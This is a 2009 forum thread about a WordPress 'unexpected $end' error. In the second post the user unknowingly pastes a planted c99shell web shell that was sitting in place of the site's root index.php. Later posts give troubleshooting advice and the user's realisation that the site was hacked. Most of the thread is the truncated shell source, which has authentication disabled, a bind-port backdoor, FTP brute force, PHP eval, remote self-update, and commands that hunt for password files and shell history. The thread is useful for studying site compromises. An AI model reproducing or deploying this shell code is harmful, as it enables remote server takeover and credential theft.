1. Advertising
    y u no do it?

    Advertising (learn more)

    Advertise virtually anything here, with CPM banner ads, CPM email ads and CPC contextual links. You can target relevant areas of the site and show ads based on geographical location of the user if you wish.

    Starts at just $1 per CPM or $0.10 per CPC.

Parse error: syntax error, unexpected $end in my wordpress

Discussion in 'PHP' started by Farina, Apr 10, 2009.

  1. #1
    Hi all,

    I have this problem in my wordpress, I hope all sifu can help me :

    Parse error: syntax error, unexpected $end in /home/abc/domains/blog.e-abc.com/public_html/index.php on line 258

    My code in index.php as follows :

    <?php
    /*
    Template Name: Home Page Option 1
    */
    ?>
    
    <?php get_header(); ?>
    
    	<div id="page" class="clearfix">
    
    		<div id="contentleft">
    
    <?php if ( $paged < 2 ) { // Do stuff specific to first page?>
    
    <?php include (TEMPLATEPATH . '/features.php'); ?>
    
    			<div id="content">
    
    				<div class="home-post-list-2">
    
    <?php include (TEMPLATEPATH . '/banner468.php'); ?>
    
    					<h3 class="home-post-list">Other Recent Articles</h3>			
    
    <?php if (have_posts()) : while (have_posts()) : the_post();
    if( $post->ID == $do_not_duplicate[$post->ID] ) continue; ?>
    <?php $post_class = ('home-post-1' == $post_class) ? 'alt-home-post-1' : 'home-post-1'; ?>
    
    					<div class="<?php echo $post_class; ?>" id="post-<?php the_ID(); ?>">
    
    						<div class="entry clearfix">
    
    <?php if (get_post_meta($post->ID, post_thumbnail)) { ?>
    							<a href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link to <?php the_title(); ?>"><img src="<?php echo get_post_meta($post->ID, post_thumbnail, true); ?>" class="post-thum" alt="post thumbnail" /></a>
    <?php } else { ?>
    							<a href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link to <?php the_title(); ?>"><img src="<?php bloginfo('stylesheet_directory'); ?>/images/def-thumb.gif" class="post-thum" alt="post thumbnail" /></a>
    <?php } ?>
    
    							<h2 class="home-list"><a href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link to <?php the_title(); ?>"><?php the_title(); ?></a></h2>
    							<?php the_excerpt(); ?>
    							<?php the_time('jMY') ?> | <?php the_author_posts_link(); ?> | <?php comments_popup_link('0 comments', '1 comment', '% comments'); ?> | <a class="more-link" href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link to <?php the_title(); ?>">Continued</a>
    
    						</div>
    
    					</div>
    
    <?php endwhile; endif; ?>
    
    <?php include (TEMPLATEPATH . '/bot-nav.php'); ?>
    
    				</div>
    
    <?php } else { // Do stuff specific to non-first page ?>
    
    			<div id="content">
    
    				<div class="home-post-list-2">
    
    					<h3 class="home-post-list">Other Recent Articles</h3>
    
    <?php if (have_posts()) : while (have_posts()) : the_post();
    if( $post->ID == $do_not_duplicate[$post->ID] ) continue; ?>
    <?php $post_class = ('home-post-1' == $post_class) ? 'alt-home-post-1' : 'home-post-1'; ?>
    
    					<div class="<?php echo $post_class; ?>" id="post-<?php the_ID(); ?>">
    
    						<div class="entry clearfix">
    
    <?php if (get_post_meta($post->ID, post_thumbnail)) { ?>
    							<a href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link to <?php the_title(); ?>"><img src="<?php echo get_post_meta($post->ID, post_thumbnail, true); ?>" class="post-thum" alt="post thumbnail" /></a>
    <?php } else { ?>
    							<a href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link to <?php the_title(); ?>"><img src="<?php bloginfo('stylesheet_directory'); ?>/images/def-thumb.gif" class="post-thum" alt="post thumbnail" /></a>
    <?php } ?>
    
    							<h2 class="home-list"><a href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link to <?php the_title(); ?>"><?php the_title(); ?></a></h2>
    							<?php the_excerpt(); ?>
    							<?php the_time('jMY') ?> | <?php the_author_posts_link(); ?> | <?php comments_popup_link('0 comments', '1 comment', '% comments'); ?> | <a class="more-link" href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link to <?php the_title(); ?>">Continued</a>
    
    						</div>
    
    					</div>
    
    <?php endwhile; endif; ?>
    
    <?php include (TEMPLATEPATH . '/bot-nav.php'); ?>
    
    				</div>
    
    <?php } ?>
    
    <?php include (TEMPLATEPATH . '/midcontent.php'); ?>
    
    <?php get_sidebar(); ?>
    
    <?php get_footer(); ?>
    Code (markup):
     
    Farina, Apr 10, 2009 IP
  2. Farina

    Farina Peon

    Messages:
    250
    Likes Received:
    8
    Best Answers:
    0
    Trophy Points:
    0
    #2
    the above code is index.php for the theme


    this is the index in root folder

    <?php
    /*
    ******************************************************************************************************
    *
    *					c99shell.php v.1.0 Shellci.Biz
    *							SheLL Archive
    *  c99shell - Shellci.biz
    *
    ******************************************************************************************************
    */
    
    //Starting calls
    if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
    error_reporting(5);
    @ignore_user_abort(true);
    @set_magic_quotes_runtime(0);
    @set_time_limit(0);
    $win = strtolower(substr(PHP_OS, 0, 3)) == "win";
    if (!@ob_get_contents()) {@ob_start(); @ob_implicit_flush(0);}
    define("starttime",getmicrotime());
    if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
    $_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
    foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
    
    $shver = "1.0 beta (21.05.2005)"; //Current version
    //CONFIGURATION AND SETTINGS
    if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";}
    elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);}
    else {$surl = $_REQUEST["c99sh_surl"]; //Set this cookie for manual SURL
    }
    
    $surl_autofill_include = true; //If true then search variables with descriptors (URLs) and save it in SURL.
    
    if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
    if (empty($surl))
    {
     $surl = "?".$includestr; //Self url
    }
    $surl = htmlspecialchars($surl);
    
    $timelimit = 60; //limit of execution this script (seconds), 0 = unlimited.
    
    //Authentication
    
    $login = "shellci.biz"; //login
    //DON'T FORGOT ABOUT CHANGE PASSWORD!!!
    $pass = "shellci.biz"; //password
    $md5_pass = ""; //md5-cryped pass. if null, md5($pass)
    
    	/*COMMENT IT FOR TURN ON AUTHENTIFICATION >>>*/	$login = false; //turn off authentification
    
    $host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")
    $login_txt = "Restricted area"; //http-auth message.
    $accessdeniedmess = "<a href=\"http://ccteam.ru/releases/c99shell\">c99shell v.".$shver."</a>: access denied";
    
    $autoupdate = false; //Automatic updating?
    $updatenow = false; //If true, update now
    $c99sh_updatefurl = "http://ccteam.ru/releases/update/c99shell/"; //Update server
    
    $filestealth = false; //if true, don't change modify&access-time
    
    $donated_html = "<center><b>GaRDeNFoX</b></center>";
    		/* If you publish free shell and you wish
    		add link to your site or any other information,
    		put here your html. */
    $donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.
    
    $curdir = "./"; //start directory
    //$curdir = getenv("DOCUMENT_ROOT");
    $tmpdir = ""; //Directory for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)
    $tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...)
    
    $log_email = "user@host.tld"; //Default e-mail for sending logs
    
    $sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending
    $sort_save = true; //If true then save sorting-type.
    
    // Registered file-types.
    //  array(
    //   "{action1}"=>array("ext1","ext2","ext3",...),
    //   "{action2}"=>array("ext4","ext5","ext6",...),
    //   ...
    //  )
    $ftypes  = array(
     "html"=>array("html","htm","shtml"),
     "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
     "exe"=>array("sh","install","bat","cmd"),
     "ini"=>array("ini","inf"),
     "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
     "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
     "sdb"=>array("sdb"),
     "phpsess"=>array("sess"),
     "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
    );
    
    // Registered executable file-types.
    //  array(
    //   string "command{i}"=>array("ext1","ext2","ext3",...),
    //   ...
    //  )
    //   {command}: %f% = filename
    $exeftypes  = array(
     getenv("PHPRC")." %f%"=>array("php","php3","php4"),
    );
    
    /* Highlighted files.
      array(
       i=>array({regexp},{type},{opentag},{closetag},{break})
       ...
      )
      string {regexp} - regular exp.
      int {type}:
    	0 - files and folders (as default),
    	1 - files only, 2 - folders only
      string {opentag} - open html-tag, e.g. "<b>" (default)
      string {closetag} - close html-tag, e.g. "</b>" (default)
      bool {break} - if true and found match then break
    */
    $regxp_highlight  = array(
      array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example
      array("config.php",1) // example
    );
    
    $safemode_diskettes = array("a"); // This variable for disabling diskett-errors.
    									 // array (i=>{letter} ...); string {letter} - letter of a drive
    									// Set as false or for turn off.
    $hexdump_lines = 8;	// lines in hex preview file
    $hexdump_rows = 24;	// 16, 24 or 32 bytes in one line
    
    $nixpwdperpage = 100; // Get first N lines from /etc/passwd
    
    $bindport_pass = "c99";	  // default password for binding
    $bindport_port = "11457"; // default port for binding
    
    // Command-aliases
    if (!$win)
    {
     $cmdaliases = array(
      array("-----------------------------------------------------------", "ls -la"),
      array("find all suid files", "find / -type f -perm -04000 -ls"),
      array("find suid files in current dir", "find . -type f -perm -04000 -ls"),
      array("find all sgid files", "find / -type f -perm -02000 -ls"),
      array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
      array("find config.inc.php files", "find / -type f -name config.inc.php"),
      array("find config* files", "find / -type f -name \"config*\""),
      array("find config* files in current dir", "find . -type f -name \"config*\""),
      array("find all writable directories and files", "find / -perm -2 -ls"),
      array("find all writable directories and files in current dir", "find . -perm -2 -ls"),
      array("find all service.pwd files", "find / -type f -name service.pwd"),
      array("find service.pwd files in current dir", "find . -type f -name service.pwd"),
      array("find all .htpasswd files", "find / -type f -name .htpasswd"),
      array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
      array("find all .bash_history files", "find / -type f -name .bash_history"),
      array("find .bash_history files in current dir", "find . -type f -name .bash_history"),
      array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
      array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
      array("list file attributes on a Linux second extended file system", "lsattr -va"),
      array("show opened ports", "netstat -an | grep -i listen")
     );
    }
    else
    {
     $cmdaliases = array(
      array("-----------------------------------------------------------", "dir"),
      array("show opened ports", "netstat -an")
     );
    }
    
    $sess_cookie = "c99shvars"; // Cookie-variable name
    
    $usefsbuff = true; //Buffer-function
    $copy_unset = false; //Remove copied files from buffer after pasting
    
    //Quick launch
    $quicklaunch = array(
     array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl),
     array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"),
     array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"),
     array("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"),
     array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""),
     array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"),
     array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"),
     array("<b>Encoder</b>",$surl."act=encoder&d=%d"),
     array("<b>Bind</b>",$surl."act=bind&d=%d"),
     array("<b>Proc.</b>",$surl."act=ps_aux&d=%d"),
     array("<b>FTP brute</b>",$surl."act=ftpquickbrute&d=%d"),
     array("<b>Sec.</b>",$surl."act=security&d=%d"),
     array("<b>SQL</b>",$surl."act=sql&d=%d"),
     array("<b>PHP-code</b>",$surl."act=eval&d=%d"),
     array("<b>Feedback</b>",$surl."act=feedback&d=%d"),
     array("<b>Self remove</b>",$surl."act=selfremove"),
     array("<b>Logout</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()")
    );
    
    //Highlight-code colors
    $highlight_background = "#c0c0c0";
    $highlight_bg = "#FFFFFF";
    $highlight_comment = "#6A6A6A";
    $highlight_default = "#0000BB";
    $highlight_html = "#1300FF";
    $highlight_keyword = "#007700";
    $highlight_string = "#000000";
    
    @$f = $_REQUEST["f"];
    @extract($_REQUEST["c99shcook"]);
    
    //END CONFIGURATION
    
    
    // 				\/	Next code isn't for editing	\/
    $tmp = array();
    foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));}
    $s = "!^(".implode("|",$tmp).")$!i";
    if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://ccteam.ru/releases/cc99shell\">c99shell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");}
    if ($login)
    {
     if(empty($md5_pass)) {$md5_pass = md5($pass);}
     if (($_SERVER["PHP_AUTH_USER"] != $login ) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
     {
      if ($login_txt === false) {$login_txt = "";}
      elseif (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));}
      header("WWW-Authenticate: Basic realm=\"c99shell ".$shver.": ".$login_txt."\"");
      header("HTTP/1.0 401 Unauthorized");
      exit($accessdeniedmess);
     }
    }
    if ($act != "img")
    {
    $lastdir = realpath(".");
    chdir($curdir);
    if (($selfwrite) or ($updatenow))
    {
     if ($selfwrite == "1") {$selfwrite = "c99shell.php";}
     c99sh_getupdate();
     $data = file_get_contents($c99sh_updatefurl);
     $fp = fopen($data,"w");
     fwrite($fp,$data);
     fclose($fp);
     exit;
    }
    $sess_data = unserialize($_COOKIE["$sess_cookie"]);
    if (!is_array($sess_data)) {$sess_data = array();}
    if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
    if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
    
    if (!function_exists("c99_buff_prepare"))
    {
    function c99_buff_prepare()
    {
     global $sess_data;
     global $act;
     foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} 
     foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} 
     $sess_data["copy"] = array_unique($sess_data["copy"]);
     $sess_data["cut"] = array_unique($sess_data["cut"]);
     sort($sess_data["copy"]);
     sort($sess_data["cut"]);
     if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["cop
    Code (markup):
     
    Farina, Apr 10, 2009 IP
  3. Colbyt

    Colbyt Notable Member

    Messages:
    3,224
    Likes Received:
    185
    Best Answers:
    0
    Trophy Points:
    210
    #3
    unexpected $end usually means that you have failed to close a conditional } and the script thinks it still has something to do. This is an easy mess to create if you have been editing the file.

    Easy fix is to restore the file and start again. If you are not familiar with the script in question iIt can take hours to track down the error otherwise.
     
    Colbyt, Apr 10, 2009 IP
  4. Farina

    Farina Peon

    Messages:
    250
    Likes Received:
    8
    Best Answers:
    0
    Trophy Points:
    0
    #4
    tq, but which file is affected. is it the theme index file or the root file
     
    Farina, Apr 10, 2009 IP
  5. Colbyt

    Colbyt Notable Member

    Messages:
    3,224
    Likes Received:
    185
    Best Answers:
    0
    Trophy Points:
    210
    #5
    Switch to the default theme or at least a different one and you will find out real quick.
     
    Colbyt, Apr 10, 2009 IP
  6. Farina

    Farina Peon

    Messages:
    250
    Likes Received:
    8
    Best Answers:
    0
    Trophy Points:
    0
    #6
    Case solved.
    My web being hacked.

    Two file being hacked :
    1. index.php in root folder
    2. header.php in theme folder

    they use the same content for both files. The files i paste just now in second reply above.
     
    Farina, Apr 10, 2009 IP